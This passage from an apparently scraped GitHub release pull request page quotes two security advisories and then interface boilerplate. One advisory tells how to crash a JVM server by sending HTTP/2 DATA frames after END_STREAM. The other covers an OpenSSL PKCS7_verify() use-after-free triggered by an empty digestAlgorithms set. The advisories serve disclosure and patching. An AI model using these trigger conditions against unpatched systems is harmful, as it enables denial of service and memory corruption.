frames for a stream whose decompressor has been cleaned up (e.g. continue sending DATA after END_STREAM). No special server configuration beyond decompression being enabled.
Result: sustained triggering over a long-lived connection exhausts direct memory and crashes
the JVM with OutOfMemoryError.
A flaw was found in OpenSSL. When processing a specially crafted PKCS#7 or S/MIME (Secure/Multipurpose Internet Mail Extensions) signed message, a heap use-after-free vulnerability in the PKCS7_verify() function can be triggered. This occurs if the SignedData digestAlgorithms field is present as an empty ASN.1 SET, leading to incorrect memory deallocation. A remote attacker could exploit this to cause application crashes, memory corruption, or potentially achieve remote code execution.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Automated release PR bumping the version and generating dependency updates. Review the changes and merge this PR into the major/minor target branch when you are ready to publish the Docker images.